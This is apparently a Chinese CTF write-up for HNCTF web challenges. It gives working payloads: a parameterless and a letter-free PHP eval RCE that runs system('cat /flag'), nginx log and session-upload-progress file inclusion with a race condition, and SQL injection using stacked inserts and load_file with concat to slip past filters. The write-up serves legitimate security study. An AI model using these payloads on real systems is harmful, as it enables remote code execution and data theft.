HNCTF-web wp
[WEEK2]Canyource
为期一个月的hnctf 我打了一下 有几道比较好的题目 (或者我之前没有遇到过的 )在这里记录一下
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
熟悉的无参数rce
eval(end(current(get_defined_vars())));&a=highlight_file('flag.php');
get_defined_vars() 获取四个全局变量的值
current()获取数组中当前元素的值
end()获取数组中最后一个元素的值
很简单不再多说了
[Week1]Challenge__rce
跟上一个题型差不多 这个是无数字字母rce
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
过滤了上面那些东西
并且限制字符数目不能大于120
并且有过滤了 ^ 和 ~
那现在只能通过自增的方式来进行了
但是 如果通过自增的方法来 获取每个需要命令执行的字符的话 数量就超出限制了
那怎么办嘞 直接看payload 吧(这个payload是学长 当时打出来的)
<?php
$_=([].[])[0];//A
++$_;//B
$γ=++$_; //C
++$_; //D
$β=++$_; //E
++$_; //F
$Φ=++$_; //G
$_=($γ.++$_.$_=($_.[])[2]); //CHr
$_=${_.$Φ.$β.$_(84)}; //$_GET
//var_dump($_);
$_[_]($_[1]); //$_GET[_]($_GET[1])
这里利用 chr函数 获取 T
然后 运用两个get传参 来任意命令执行
这里使
_ 为 system 1 为 cat /flag
payload
rce=$_=([].[])[0];++$_;$γ=++$_;++$_;$β=++$_;++$_;$Φ=++$_;$_=($γ.++$_.$_=($_.[])[2]);$_=${_.$Φ.$β.$_(84)};$_[_]($_[1]);
[WEEK2]easy_include
包含日志文件 之前只是听说过 但是 没有做过这样的题目 所有这里就写一下
包含 nginx 日志
http://43.143.7.97:28980/?file=/var/log/nginx/access.log
这里访问 不存在 的目录 然后 要用 burp来访问 要不然就直接 给url编码了
[WEEK3]Fun_php
直接把源码粘贴到 vscode中
一个不可见字符的cve
http://blog.o3ev.cn/yy/439
别的 就不说了 剩下的就是 通过简单的判断
[WEEK3]QAQ_1inclu4e
session文件包含 条件竞争
QAQ 为参数 可以包含文件 然后过滤了 . 和 PHP
session基础知识
session 文件在 /tmp/sess_[phpsessid]
这个没有开启 session
No session_start()
当网站存在 文件包含漏洞,但是没有用户会话。即代码层 未输入 session_start() 可借助Session Upload Progress 因为session.upload_progress.name 是用户自定义的,POST 提交PHP_SESSION_UPLOAD_PROGRESS字段 只要上传包里带上这个键,php就会自动启用session 同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。
当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。
直接编辑一个上传文件的包
<!doctype html>
<html>
<body>
<form action="http://43.142.108.3:28852/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
由于过滤了 php和 . 但是文件包含 可以包含 非php文件当作php文件解析
fun_sql
堆叠注入
只要查询 存在的用户名就可以die(flag)
payload
a' union select 1,2,database();insert into ccctttfff values('2','q','asdas');
然后查询 q 就可以 输出flag
还有一种 解法 是别的wp上写的 只用load_file()函数
虽然过滤了 flag 但是可以用拼接的方法
123' union select 1,load_file(concat('/var/www/html/fla','g.php')),3; --+
concat 在sql中可以拼接 绕过
标签:web,HNCTF,文件,++,flag,session,wp,rce,php From: https://www.cnblogs.com/kkkkl/p/16849314.html